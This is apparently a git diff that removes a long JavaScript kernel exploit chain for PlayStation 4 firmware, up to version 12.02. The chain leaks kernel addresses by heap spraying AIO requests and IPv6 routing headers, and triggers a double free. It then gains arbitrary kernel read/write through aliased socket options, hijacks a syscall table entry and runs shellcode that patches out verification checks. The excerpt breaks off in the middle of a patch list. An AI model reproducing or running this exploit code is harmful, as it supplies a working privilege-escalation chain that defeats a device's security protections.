aio_submit_cmd(cmd, leak_reqs, num_elems, 3, leak_ids + ((j - 1) * step)) - set_rthdr(sds[j - 1], wbuf, rsize) - } - - get_rthdr(sd, buf, buflen) - - var sd_idx = null - reqs2_off = null - fake_reqs3_off = null - - for (var off = 0x80; off < buflen; off += 0x80) { - const offset = off - - if (reqs2_off === null && verify_reqs2(buf.add(offset), AIO_CMD_WRITE)) { - reqs2_off = off - } - - if (fake_reqs3_off === null) { - const marker = read32(buf.add(offset + 4)) - if (marker === marker_val) { - fake_reqs3_off = off - sd_idx = Number(read32(buf.add(offset + 8))) - } - } - } - - if (reqs2_off !== null && fake_reqs3_off !== null) { - log('Found reqs2 and fake reqs3 at attempt: ' + i) - fake_reqs3_sd = sds[sd_idx - 1] - sds.splice(sd_idx - 1, 1) - free_rthdrs(sds) - sds.push(new_socket()) - break - } - - free_aios(leak_ids, leak_ids_len) - } - - if (reqs2_off === null || fake_reqs3_off === null) { - log('Could not leak reqs2 and fake reqs3') - return null - } - - log('reqs2 offset: ' + hex(reqs2_off)) - log('fake reqs3 offset: ' + hex(fake_reqs3_off)) - - get_rthdr(sd, buf, buflen) - - log('Leaked aio_entry:') - - var leak_str = '' - for (var i = 0; i < 0x80; i += 8) { - if (i % 16 === 0 && i !== 0) leak_str += '\n' - leak_str += hex(read64(buf.add(reqs2_off + i))) + ' ' - } - log(leak_str) - - const aio_info_addr = read64(buf.add(reqs2_off + 0x18)) - var reqs1_addr = read64(buf.add(reqs2_off + 0x10)) - reqs1_addr = reqs1_addr.and(new BigInt(0xFFFFFFFF, 0xFFFFFF00)) - const fake_reqs3_addr = kbuf_addr.add(fake_reqs3_off + reqs3_offset) - - log('reqs1_addr = ' + hex(reqs1_addr)) - log('fake_reqs3_addr = ' + hex(fake_reqs3_addr)) - - log('Searching for target_id...') - - var target_id = null - var to_cancel = null - var to_cancel_len = null - - const errors = malloc(4 * num_elems) - - for (var i = 0; i < leak_ids_len; i += num_elems) { - aio_multi_cancel(leak_ids + (i * 4), num_elems, errors) - get_rthdr(sd, buf, buflen) - - const state = read32(buf.add(reqs2_off + 0x38)) - if (state === AIO_STATE_ABORTED) { - target_id = read32(leak_ids.add(i * 4)) - write32(leak_ids.add(i * 4), 0) - - log('Found target_id=' + hex(target_id) + ', i=' + i + ', batch=' + Math.floor(i / num_elems)) - - const start = i + num_elems - to_cancel = leak_ids + start * 4 - to_cancel_len = leak_ids_len - start - - break - } - } - - if (target_id === null) { - log('Target ID not found') - - return null - } - - cancel_aios(to_cancel, to_cancel_len) - free_aios2(leak_ids, leak_ids_len) - - log('Kernel addresses leaked successfully!') - - return { - reqs1_addr, - kbuf_addr, - kernel_addr, - target_id, - evf, - fake_reqs3_addr, - fake_reqs3_sd, - aio_info_addr - } -} - -// Stage 3 - -kernel = { - addr: {}, - copyout: null, - copyin: null, - read_buffer: null, - write_buffer: null -} - -kernel.read_byte = function (kaddr) { - const value = kernel.read_buffer(kaddr, 1) - return value && value.length === 1 ? (value[0]) : null -} - -kernel.read_word = function (kaddr) { - const value = kernel.read_buffer(kaddr, 2) - if (!value || value.length !== 2) return null - return (value[0]) | ((value[1]) << 8) -} - -kernel.read_dword = function (kaddr) { - const value = kernel.read_buffer(kaddr, 4) - if (!value || value.length !== 4) return null - var result = 0 - for (var i = 0; i < 4; i++) { - result |= ((value[i]) << (i * 8)) - } - return result -} - -kernel.read_qword = function (kaddr) { - const value = kernel.read_buffer(kaddr, 8) - if (!value || value.length !== 8) return null - var result_hi = 0 - var result_low = 0 - for (var i = 0; i < 4; i++) { - result_hi |= ((value[i + 4]) << (i * 8)) - result_low |= ((value[i]) << (i * 8)) - } - var result = new BigInt(result_hi, result_low) - return result -} - -kernel.read_null_terminated_string = function (kaddr) { - var result = '' - - while (true) { - const chunk = kernel.read_buffer(kaddr, 0x8) - if (!chunk || chunk.length === 0) break - - var null_pos = -1 - for (var i = 0; i < chunk.length; i++) { - if (chunk[i] === 0) { - null_pos = i - break - } - } - - if (null_pos >= 0) { - if (null_pos > 0) { - for (var i = 0; i < null_pos; i++) { - result += String.fromCharCode(Number(chunk[i])) - } - } - return result - } - - for (var i = 0; i < chunk.length; i++) { - result += String.fromCharCode(Number(chunk[i])) - } - - kaddr = kaddr.add(chunk.length) - } - - return result -} - -kernel.write_byte = function (dest, value) { - const buf = new Uint8Array(1) - buf[0] = Number(value & 0xFF) - kernel.write_buffer(dest, buf) -} - -kernel.write_word = function (dest, value) { - const buf = new Uint8Array(2) - buf[0] = Number(value & 0xFF) - buf[1] = Number((value >> 8) & 0xFF) - kernel.write_buffer(dest, buf) -} - -kernel.write_dword = function (dest, value) { - const buf = new Uint8Array(4) - for (var i = 0; i < 4; i++) { - buf[i] = Number((value >> (i * 8)) & 0xFF) - } - kernel.write_buffer(dest, buf) -} - -kernel.write_qword = function (dest, value) { - const buf = new Uint8Array(8) - value = value instanceof BigInt ? value : new BigInt(value) - - var val_hi = value.hi - var val_low = value.lo - - for (var i = 0; i < 4; i++) { - buf[i] = Number((val_low >> (i * 8))) & 0xFF - buf[i + 4] = Number((val_hi >> ((i + 4) * 8))) & 0xFF - } - kernel.write_buffer(dest, buf) -} - -// IPv6 kernel r/w primitive -ipv6_kernel_rw = { - data: {}, - ofiles: null, - kread8: null, - kwrite8: null -} - -ipv6_kernel_rw.init = function (ofiles, kread8, kwrite8) { - ipv6_kernel_rw.ofiles = ofiles - ipv6_kernel_rw.kread8 = kread8 - ipv6_kernel_rw.kwrite8 = kwrite8 - - ipv6_kernel_rw.create_pipe_pair() - ipv6_kernel_rw.create_overlapped_ipv6_sockets() -} - -ipv6_kernel_rw.get_fd_data_addr = function (fd) { - // PS4: ofiles is at offset 0x0, each entry is 0x8 bytes - - // Just in case fd is a bigint - fd = Number(fd) - - const filedescent_addr = ipv6_kernel_rw.ofiles.add(fd * kernel_offset.SIZEOF_OFILES) - const file_addr = ipv6_kernel_rw.kread8(filedescent_addr.add(0x0)) - return ipv6_kernel_rw.kread8(file_addr.add(0x0)) -} - -ipv6_kernel_rw.create_pipe_pair = function () { - const pipe = create_pipe() - const read_fd = pipe[0] - const write_fd = pipe[1] - - ipv6_kernel_rw.data.pipe_read_fd = read_fd - ipv6_kernel_rw.data.pipe_write_fd = write_fd - ipv6_kernel_rw.data.pipe_addr = ipv6_kernel_rw.get_fd_data_addr(read_fd) - ipv6_kernel_rw.data.pipemap_buffer = malloc(0x14) - ipv6_kernel_rw.data.read_mem = malloc(PAGE_SIZE) -} - -ipv6_kernel_rw.create_overlapped_ipv6_sockets = function () { - const master_target_buffer = malloc(0x14) - const slave_buffer = malloc(0x14) - const pktinfo_size_store = malloc(0x8) - - write64(pktinfo_size_store, 0x14) - - const master_sock = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) - const victim_sock = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) - - setsockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, master_target_buffer, 0x14) - setsockopt(victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, slave_buffer, 0x14) - - const master_so = ipv6_kernel_rw.get_fd_data_addr(master_sock) - const master_pcb = ipv6_kernel_rw.kread8(master_so.add(kernel_offset.SO_PCB)) - const master_pktopts = ipv6_kernel_rw.kread8(master_pcb.add(kernel_offset.INPCB_PKTOPTS)) - - const slave_so = ipv6_kernel_rw.get_fd_data_addr(victim_sock) - const slave_pcb = ipv6_kernel_rw.kread8(slave_so.add(kernel_offset.SO_PCB)) - const slave_pktopts = ipv6_kernel_rw.kread8(slave_pcb.add(kernel_offset.INPCB_PKTOPTS)) - - ipv6_kernel_rw.kwrite8(master_pktopts.add(0x10), slave_pktopts.add(0x10)) - - ipv6_kernel_rw.data.master_target_buffer = master_target_buffer - ipv6_kernel_rw.data.slave_buffer = slave_buffer - ipv6_kernel_rw.data.pktinfo_size_store = pktinfo_size_store - ipv6_kernel_rw.data.master_sock = master_sock - ipv6_kernel_rw.data.victim_sock = victim_sock -} - -ipv6_kernel_rw.ipv6_write_to_victim = function (kaddr) { - write64(ipv6_kernel_rw.data.master_target_buffer, kaddr) - write64(ipv6_kernel_rw.data.master_target_buffer.add(0x8), 0) - write32(ipv6_kernel_rw.data.master_target_buffer.add(0x10), 0) - setsockopt(ipv6_kernel_rw.data.master_sock, IPPROTO_IPV6, IPV6_PKTINFO, ipv6_kernel_rw.data.master_target_buffer, 0x14) -} - -ipv6_kernel_rw.ipv6_kread = function (kaddr, buffer_addr) { - ipv6_kernel_rw.ipv6_write_to_victim(kaddr) - getsockopt(ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, buffer_addr, ipv6_kernel_rw.data.pktinfo_size_store) -} - -ipv6_kernel_rw.ipv6_kwrite = function (kaddr, buffer_addr) { - ipv6_kernel_rw.ipv6_write_to_victim(kaddr) - setsockopt(ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, buffer_addr, 0x14) -} - -ipv6_kernel_rw.ipv6_kread8 = function (kaddr) { - ipv6_kernel_rw.ipv6_kread(kaddr, ipv6_kernel_rw.data.slave_buffer) - return read64(ipv6_kernel_rw.data.slave_buffer) -} - -ipv6_kernel_rw.copyout = function (kaddr, uaddr, len) { - if (kaddr === null || kaddr === undefined || - uaddr === null || uaddr === undefined || - len === null || len === undefined || len === 0) { - throw new Error('copyout: invalid arguments') - } - - write64(ipv6_kernel_rw.data.pipemap_buffer, new BigInt(0x40000000, 0x40000000)) - write64(ipv6_kernel_rw.data.pipemap_buffer.add(0x8), new BigInt(0x40000000, 0x00000000)) - write32(ipv6_kernel_rw.data.pipemap_buffer.add(0x10), 0) - ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer) - - write64(ipv6_kernel_rw.data.pipemap_buffer, kaddr) - write64(ipv6_kernel_rw.data.pipemap_buffer.add(0x8), 0) - write32(ipv6_kernel_rw.data.pipemap_buffer.add(0x10), 0) - ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr.add(0x10), ipv6_kernel_rw.data.pipemap_buffer) - - read(ipv6_kernel_rw.data.pipe_read_fd, uaddr, len) -} - -ipv6_kernel_rw.copyin = function (uaddr, kaddr, len) { - if (kaddr === null || kaddr === undefined || - uaddr === null || uaddr === undefined || - len === null || len === undefined || len === 0) { - throw new Error('copyin: invalid arguments') - } - - write64(ipv6_kernel_rw.data.pipemap_buffer, 0) - write64(ipv6_kernel_rw.data.pipemap_buffer.add(0x8), new BigInt(0x40000000, 0x00000000)) - write32(ipv6_kernel_rw.data.pipemap_buffer.add(0x10), 0) - ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer) - - write64(ipv6_kernel_rw.data.pipemap_buffer, kaddr) - write64(ipv6_kernel_rw.data.pipemap_buffer.add(0x8), 0) - write32(ipv6_kernel_rw.data.pipemap_buffer.add(0x10), 0) - ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr.add(0x10), ipv6_kernel_rw.data.pipemap_buffer) - - write(ipv6_kernel_rw.data.pipe_write_fd, uaddr, len) -} - -ipv6_kernel_rw.read_buffer = function (kaddr, len) { - var mem = ipv6_kernel_rw.data.read_mem - if (len > PAGE_SIZE) { - mem = malloc(len) - } - - ipv6_kernel_rw.copyout(kaddr, mem, new BigInt(len)) - return read_buffer(mem, len) -} - -ipv6_kernel_rw.write_buffer = function (kaddr, buf) { - const temp_addr = malloc(buf.length) - write_buffer(temp_addr, buf) - ipv6_kernel_rw.copyin(temp_addr, kaddr, new BigInt(buf.length)) -} - -// Helper functions -function is_kernel_rw_available () { - return kernel.read_buffer && kernel.write_buffer -} - -function check_kernel_rw () { - if (!is_kernel_rw_available()) { - throw new Error('kernel r/w is not available') - } -} - -function find_proc_by_name (name) { - check_kernel_rw() - if (!kernel.addr.allproc) { - throw new Error('kernel.addr.allproc not set') - } - - var proc = kernel.read_qword(kernel.addr.allproc) - while (proc !== 0) { - const proc_name = kernel.read_null_terminated_string(proc.add(kernel_offset.PROC_COMM)) - if (proc_name === name) { - return proc - } - proc = kernel.read_qword(proc.add(0x0)) - } - - return null -} - -function find_proc_by_pid (pid) { - check_kernel_rw() - if (!kernel.addr.allproc) { - throw new Error('kernel.addr.allproc not set') - } - - const target_pid = Number(pid) - var proc = kernel.read_qword(kernel.addr.allproc) - while (!proc.eq(0)) { - const proc_pid = kernel.read_dword(proc.add(kernel_offset.PROC_PID)) - if (proc_pid === target_pid) { - return proc - } - proc = kernel.read_qword(proc.add(0)) - } - - return null -} - -function read_buffer (addr, len) { - const buffer = new Uint8Array(len) - for (var i = 0; i < len; i++) { - buffer[i] = Number(read8(addr.add(i))) - } - return buffer -} - -function read_cstring (addr) { - var str = '' - var i = 0 - while (true) { - const c = Number(read8(addr.add(i))) - if (c === 0) break - str += String.fromCharCode(c) - i++ - if (i > 256) break // Safety limit - } - return str -} - -function write_buffer (addr, buffer) { - for (var i = 0; i < buffer.length; i++) { - write8(addr.add(i), buffer[i]) - } -} - -function make_aliased_pktopts (sds) { - const tclass = malloc(4) - - for (var loop = 0; loop < NUM_ALIAS; loop++) { - for (var i = 0; i < sds.length; i++) { - write32(tclass, i) - set_sockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) - } - - for (var i = 0; i < sds.length; i++) { - get_sockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) - const marker = Number(read32(tclass)) - - if (marker !== i) { - const sd_pair = [sds[i], sds[marker]] - log('Aliased pktopts at attempt ' + loop + ' (pair: ' + sd_pair[0] + ', ' + sd_pair[1] + ')') - if (marker > i) { - sds.splice(marker, 1) - sds.splice(i, 1) - } else { - sds.splice(i, 1) - sds.splice(marker, 1) - } - - for (var j = 0; j < 2; j++) { - const sock_fd = new_socket() - set_sockopt(sock_fd, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) - sds.push(sock_fd) - } - - return sd_pair - } - } - - for (var i = 0; i < sds.length; i++) { - set_sockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0) - } - } - - return null -} - -function double_free_reqs1 (reqs1_addr, target_id, evf, sd, sds, sds_alt, fake_reqs3_addr) { - const max_leak_len = (0xff + 1) << 3 - const buf = malloc(max_leak_len) - - const num_elems = MAX_AIO_IDS - const aio_reqs = make_reqs1(num_elems) - - const num_batches = 1 - const aio_ids_len = num_batches * num_elems - const aio_ids = malloc(4 * aio_ids_len) - - log('Overwriting rthdr with AIO queue entry...') - var aio_not_found = true - free_evf(evf) - - for (var i = 0; i < NUM_CLOBBERS; i++) { - spray_aio(num_batches, aio_reqs, num_elems, aio_ids, true) - - const size_ret = get_rthdr(sd, buf, max_leak_len) - const cmd = read32(buf) - - if (size_ret === 8 && cmd === AIO_CMD_READ) { - log('Aliased at attempt ' + i) - aio_not_found = false - cancel_aios(aio_ids, aio_ids_len) - break - } - - free_aios(aio_ids, aio_ids_len, true) - } - - if (aio_not_found) { - log('Failed to overwrite rthdr') - return null - } - - const reqs2_size = 0x80 - const reqs2 = malloc(reqs2_size) - const rsize = build_rthdr(reqs2, reqs2_size) - - write32(reqs2.add(4), 5) // ar2_ticket - write64(reqs2.add(0x18), reqs1_addr) // ar2_info - write64(reqs2.add(0x20), fake_reqs3_addr) // ar2_batch - - const states = malloc(4 * num_elems) - const addr_cache = [] - for (var i = 0; i < num_batches; i++) { - addr_cache.push(aio_ids.add(i * num_elems * 4)) - } - - log('Overwriting AIO queue entry with rthdr...') - - close(sd) - sd = null - - function overwrite_aio_entry_with_rthdr () { - for (var i = 0; i < NUM_ALIAS; i++) { - for (var j = 0; j < sds.length; j++) { - set_rthdr(sds[j], reqs2, rsize) - } - // log("before for batch = 0 ...") - for (var batch = 0; batch < addr_cache.length; batch++) { - for (var j = 0; j < num_elems; j++) { - write32(states.add(j * 4), 0xFFFFFFFF) - } - - aio_multi_cancel_fun(addr_cache[batch], num_elems, states) - - var req_idx = -1 - for (var j = 0; j < num_elems; j++) { - const val = read32(states.add(j * 4)) - if (val === AIO_STATE_COMPLETE) { - req_idx = j - break - } - } - - if (req_idx !== -1) { - log('Found req_id at batch ' + batch + ', attempt ' + i) - const aio_idx = batch * num_elems + req_idx - const req_id_p = aio_ids.add(aio_idx * 4) - const req_id = read32(req_id_p) - - aio_multi_poll_fun(req_id_p, 1, states) - write32(req_id_p, 0) - return req_id - } - } - } - - return null - } - - const req_id = overwrite_aio_entry_with_rthdr() - if (req_id === null) { - log('Failed to overwrite AIO queue entry') - return null - } - - free_aios2(aio_ids, aio_ids_len) - - const target_id_p = malloc(4) - write32(target_id_p, target_id) - - aio_multi_poll_fun(target_id_p, 1, states) - - const sce_errs = malloc(8) - write32(sce_errs, 0xFFFFFFFF) // -1 - write32(sce_errs.add(4), 0xFFFFFFFF) // -1 - - const target_ids = malloc(8) - write32(target_ids, req_id) - write32(target_ids.add(4), target_id) - - log('Triggering double free...') - aio_multi_delete_fun(target_ids, 2, sce_errs) - - log('Reclaiming memory...') - - const sd_pair = make_aliased_pktopts(sds_alt) - - const err1 = read32(sce_errs) - const err2 = read32(sce_errs.add(4)) - - write32(states, 0xFFFFFFFF) // -1 - write32(states.add(4), 0xFFFFFFFF) // -1 - - aio_multi_poll_fun(target_ids, 2, states) - - var success = true - if (read32(states) !== SCE_KERNEL_ERROR_ESRCH) { - log('ERROR: Bad delete of corrupt AIO request') - success = false - } - - if (err1 !== 0 || err1 !== err2) { - log('ERROR: Bad delete of ID pair') - success = false - } - - if (!success) { - log('Double free failed') - return null - } - - if (sd_pair === null) { - log('Failed to make aliased pktopts') - return null - } - - return sd_pair -} - -// Stage 4 - -function make_kernel_arw (pktopts_sds, reqs1_addr, kernel_addr, sds, sds_alt, aio_info_addr) { - try { - const master_sock = pktopts_sds[0] - const tclass = malloc(4) - const off_tclass = kernel_offset.IP6PO_TCLASS - - const pktopts_size = 0x100 - const pktopts = malloc(pktopts_size) - const rsize = build_rthdr(pktopts, pktopts_size) - const pktinfo_p = reqs1_addr.add(0x10) - - // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo - write64(pktopts.add(0x10), pktinfo_p) - - log('Overwriting main pktopts') - var reclaim_sock = null - - close(pktopts_sds[1]) - - for (var i = 1; i <= NUM_ALIAS; i++) { - for (var j = 0; j < sds_alt.length; j++) { - write32(pktopts.add(off_tclass), 0x4141 | (j << 16)) - set_rthdr(sds_alt[j], pktopts, rsize) - } - - get_sockopt(master_sock, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) - const marker = read32(tclass) - if ((marker & 0xffff) === 0x4141) { - log('Found reclaim socket at attempt: ' + i) - const idx = Number(marker >> 16) - reclaim_sock = sds_alt[idx] - sds_alt.splice(idx, 1) - break - } - } - - if (reclaim_sock === null) { - log('Failed to overwrite main pktopts') - return null - } - - const pktinfo_len = 0x14 - const pktinfo = malloc(pktinfo_len) - write64(pktinfo, pktinfo_p) - - const read_buf = malloc(8) - - function slow_kread8 (addr) { - const len = 8 - var offset = 0 - - while (offset < len) { - // pktopts.ip6po_nhinfo = addr + offset - write64(pktinfo.add(8), addr.add(offset)) - - set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) - const n = get_sockopt(master_sock, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf.add(offset), len - offset) - - if (n === 0) { - write8(read_buf.add(offset), 0) - offset = offset + 1 - } else { - offset = offset + Number(n) - } - } - - return read64(read_buf) - } - - const test_read = slow_kread8(kernel_addr) - log('slow_kread8("evf cv"): ' + hex(test_read)) - const kstr = read_cstring(read_buf) - log('*("evf cv"): ' + kstr) - - if (kstr !== 'evf cv') { - log('Test read of "evf cv" failed') - return null - } - - log('Slow arbitrary kernel read achieved') - - // Get curproc from previously freed aio_info - const curproc = slow_kread8(aio_info_addr.add(8)) - - if (Number(curproc.shr(48)) !== 0xffff) { - log('Invalid curproc kernel address: ' + hex(curproc)) - return null - } - - const possible_pid = Number(slow_kread8(curproc.add(kernel_offset.PROC_PID))) - const current_pid = Number(getpid()) - - if ((possible_pid & 0xffffffff) !== (current_pid & 0xffffffff)) { - log('curproc verification failed: ' + hex(curproc)) - return null - } - - log('curproc = ' + hex(curproc)) - - kernel.addr.curproc = curproc - kernel.addr.curproc_fd = slow_kread8((kernel.addr.curproc).add(kernel_offset.PROC_FD)) - kernel.addr.curproc_ofiles = slow_kread8(kernel.addr.curproc_fd).add(kernel_offset.FILEDESC_OFILES) - kernel.addr.inside_kdata = kernel_addr - - function get_fd_data_addr (sock, kread8_fn) { - const filedescent_addr = (kernel.addr.curproc_ofiles).add(Number(sock) * kernel_offset.SIZEOF_OFILES) - const file_addr = kread8_fn(filedescent_addr.add(0)) - return kread8_fn(file_addr.add(0)) - } - - function get_sock_pktopts (sock, kread8_fn) { - const fd_data = get_fd_data_addr(sock, kread8_fn) - const pcb = kread8_fn(fd_data.add(kernel_offset.SO_PCB)) - const pktopts = kread8_fn(pcb.add(kernel_offset.INPCB_PKTOPTS)) - return pktopts - } - - const worker_sock = new_socket() - const worker_pktinfo = malloc(pktinfo_len) - - // Create pktopts on worker_sock - set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, worker_pktinfo, pktinfo_len) - - const worker_pktopts = get_sock_pktopts(worker_sock, slow_kread8) - - write64(pktinfo, worker_pktopts.add(0x10)) // overlap pktinfo - write64(pktinfo.add(8), 0) // clear .ip6po_nexthop - - set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) - - function kread20 (addr, buf) { - write64(pktinfo, addr) - set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) - get_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len) - } - - function kwrite20 (addr, buf) { - write64(pktinfo, addr) - set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) - set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len) - } - - function kread8 (addr) { - kread20(addr, worker_pktinfo) - return read64(worker_pktinfo) - } - - // Note: this will write our 8 bytes + remaining 12 bytes as null - function restricted_kwrite8 (addr, val) { - write64(worker_pktinfo, val) - write64(worker_pktinfo.add(8), 0) - write32(worker_pktinfo.add(16), 0) - kwrite20(addr, worker_pktinfo) - } - - write64(read_buf, kread8(kernel_addr)) - - const kstr2 = read_cstring(read_buf) - if (kstr2 !== 'evf cv') { - log('Test read of "evf cv" failed') - return null - } - - log('Restricted kernel r/w achieved') - - // Initialize ipv6_kernel_rw with restricted write - ipv6_kernel_rw.init(kernel.addr.curproc_ofiles, kread8, restricted_kwrite8) - - kernel.read_buffer = ipv6_kernel_rw.read_buffer - kernel.write_buffer = ipv6_kernel_rw.write_buffer - kernel.copyout = ipv6_kernel_rw.copyout - kernel.copyin = ipv6_kernel_rw.copyin - - const kstr3 = kernel.read_null_terminated_string(kernel_addr) - if (kstr3 !== 'evf cv') { - log('Test read of "evf cv" failed') - return null - } - - log('Arbitrary kernel r/w achieved!') - - // RESTORE: clean corrupt pointers - const off_ip6po_rthdr = kernel_offset.IP6PO_RTHDR - - for (var i = 0; i < sds.length; i++) { - const sock_pktopts = get_sock_pktopts(sds[i], kernel.read_qword) - kernel.write_qword(sock_pktopts.add(off_ip6po_rthdr), 0) - } - - const reclaimer_pktopts = get_sock_pktopts(reclaim_sock, kernel.read_qword) - - kernel.write_qword(reclaimer_pktopts.add(off_ip6po_rthdr), 0) - kernel.write_qword(worker_pktopts.add(off_ip6po_rthdr), 0) - - const sock_increase_ref = [ - ipv6_kernel_rw.data.master_sock, - ipv6_kernel_rw.data.victim_sock, - master_sock, - worker_sock, - reclaim_sock - ] - - // Increase ref counts to prevent deallocation - for (each of sock_increase_ref) { - const sock_addr = get_fd_data_addr(each, kernel.read_qword) - kernel.write_dword(sock_addr.add(0x0), 0x100) // so_count - } - - log('Fixes applied') - - return true - } catch (e) { - log('make_kernel_arw error: ' + e.message) - log(e.stack) - return null - } -} - -// Stage 5 - -// Apply kernel patches via kexec using a single ROP chain -// This avoids returning to JS between critical operations -function apply_kernel_patches (fw_version) { - try { - // Get shellcode for this firmware - const shellcode = get_kpatch_shellcode(fw_version) - if (!shellcode) { - log('No kernel patch shellcode for FW ' + fw_version) - return false - } - - log('Kernel patch shellcode: ' + shellcode.length + ' bytes') - - // Constants - const PROT_READ = 0x1 - const PROT_WRITE = 0x2 - const PROT_EXEC = 0x4 - const PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC - - const mapping_addr = new BigInt(0x9, 0x26100000) // Different from 0x920100000 to avoid conflicts - const aligned_memsz = 0x10000 - - // Get sysent[661] address and save original values - const sysent_661_addr = kernel.addr.base.add(kernel_offset.SYSENT_661) - log('sysent[661] @ ' + hex(sysent_661_addr)) - - const sy_narg = kernel.read_dword(sysent_661_addr) - const sy_call = kernel.read_qword(sysent_661_addr.add(8)) - const sy_thrcnt = kernel.read_dword(sysent_661_addr.add(0x2C)) - - log('Original sy_narg: ' + hex(sy_narg)) - log('Original sy_call: ' + hex(sy_call)) - log('Original sy_thrcnt: ' + hex(sy_thrcnt)) - - // Calculate jmp rsi gadget address - const jmp_rsi_gadget = kernel.addr.base.add(kernel_offset.JMP_RSI_GADGET) - log('jmp rsi gadget @ ' + hex(jmp_rsi_gadget)) - - // Allocate buffer for shellcode in userspace first - const shellcode_buf = malloc(shellcode.length + 0x100) - log('Shellcode buffer @ ' + hex(shellcode_buf)) - - // Copy shellcode to userspace buffer - for (var i = 0; i < shellcode.length; i++) { - write8(shellcode_buf.add(i), shellcode[i]) - } - - // Verify first bytes - const first_bytes = read32(shellcode_buf) - log('First bytes @ shellcode: ' + hex(first_bytes)) - - // Hijack sysent[661] to point to jmp rsi gadget - log('Hijacking sysent[661]...') - kernel.write_dword(sysent_661_addr, 2) // sy_narg = 2 - kernel.write_qword(sysent_661_addr.add(8), jmp_rsi_gadget) // sy_call = jmp rsi - kernel.write_dword(sysent_661_addr.add(0x2C), 1) // sy_thrcnt = 1 - log('Hijacked sysent[661]') - - // Check if jitshm_create has a dedicated gadget - const jitshm_num = 0x215 // SYSCALL.jitshm_create = 0x215n; // 533 - const jitshm_gadget = syscalls.map.get(jitshm_num) - log('jitshm_create gadget: ' + (jitshm_gadget ? hex(jitshm_gadget) : 'NOT FOUND')) - - // Try using the standard syscall() function if gadget exists - if (!jitshm_gadget) { - log('ERROR: jitshm_create gadget not found in libkernel') - log('Kernel patches require jitshm_create syscall support') - return false - } - - // 1. jitshm_create(0, aligned_memsz, PROT_RWX) - log('Calling jitshm_create...') - - const exec_handle = jitshm_create(0, aligned_memsz, PROT_RWX) - log('jitshm_create handle: ' + hex(exec_handle)) - - if (Number(exec_handle.shr(32)) >= 0xffff8000) { - log('ERROR: jitshm_create failed') - kernel.write_dword(sysent_661_addr, sy_narg) - kernel.write_qword(sysent_661_addr.add(8), sy_call) - kernel.write_dword(sysent_661_addr.add(0x2C), sy_thrcnt) - return false - } - - // 2. mmap(mapping_addr, aligned_memsz, PROT_RWX, MAP_SHARED|MAP_FIXED, exec_handle, 0) - log('Calling mmap...') - - const mmap_result = mmap(mapping_addr, aligned_memsz, PROT_RWX, 0x11, exec_handle, 0) - log('mmap result: ' + hex(mmap_result)) - - if (Number(mmap_result.shr(32)) >= 0xffff8000) { - log('ERROR: mmap failed') - kernel.write_dword(sysent_661_addr, sy_narg) - kernel.write_qword(sysent_661_addr.add(8), sy_call) - kernel.write_dword(sysent_661_addr.add(0x2C), sy_thrcnt) - return false - } - - // 3. Copy shellcode to mapped memory - log('Copying shellcode to ' + hex(mapping_addr) + '...') - for (var j = 0; j < shellcode.length; j++) { - write8(mapping_addr.add(j), shellcode[j]) - } - - // Verify - const verify_bytes = read32(mapping_addr) - log('First bytes @ mapped: ' + hex(verify_bytes)) - - // 4. kexec(mapping_addr) - syscall 661, hijacked to jmp rsi - log('Calling kexec...') - - const kexec_result = kexec(mapping_addr) - log('kexec returned: ' + hex(kexec_result)) - - // === Verify 12.00 kernel patches === - if (fw_version === '12.00' || fw_version === '12.02') { - log('Verifying 12.00 kernel patches...') - var patch_errors = 0 - - // Patch offsets and expected values for 12.00 - const patches_to_verify = [ - { off: 0x1b76a3, exp: 0x04eb, name: 'dlsym_check1', size: 2 }, - { off: 0x1b76b3, exp: 0x04eb, name: 'dlsym_check2', size: 2 }, - { off: 0x1b76d3, exp: 0xe990, name: 'dlsym_check3', size: 2 }, - { off: 0x627af4, exp: 0x00eb, name: 'veriPatch', size: 2 }, - { off: 0xacd, exp: 0xeb, name: 'bcopy', size: 1 }, - { off: 0x2bd3cd, exp: 0xeb, name: 'bzero', size: 1 }, - { off: 0x2bd411, exp: 0xeb, name: 'pagezero', size: 1 }, - { off: 0x2bd48d, exp: 0xeb, name: 'memcpy', size: 1 }, - { off: 0x2bd4d1, exp: 0xeb, name: 'pagecopy', size: 1 }, - { off: 0x2bd67d, exp: 0xeb, name: 'copyin', size: 1 }, - { off: 0x2bdb2d, exp: 0xeb, name: 'copyinstr', size: 1 }, - { off: 0x2bdbfd, exp: 0xeb, name: 'copystr', size: 1 }, - { off: 0x6283df, exp: 0x00eb, name: 'sysVeri_suspend', size: 2 }, - { off: 0x490, exp: 0x00, name: 'syscall_check', size: 4 }, - { off: 0x4c2, exp: 0xeb, name: 'syscall_jmp1', size: 1 }, - { off: 0x4b9, exp: 0x00eb, name: 'syscall_jmp2', size: 2 }, - { off: 0x4b5, exp: 0x00eb, name: 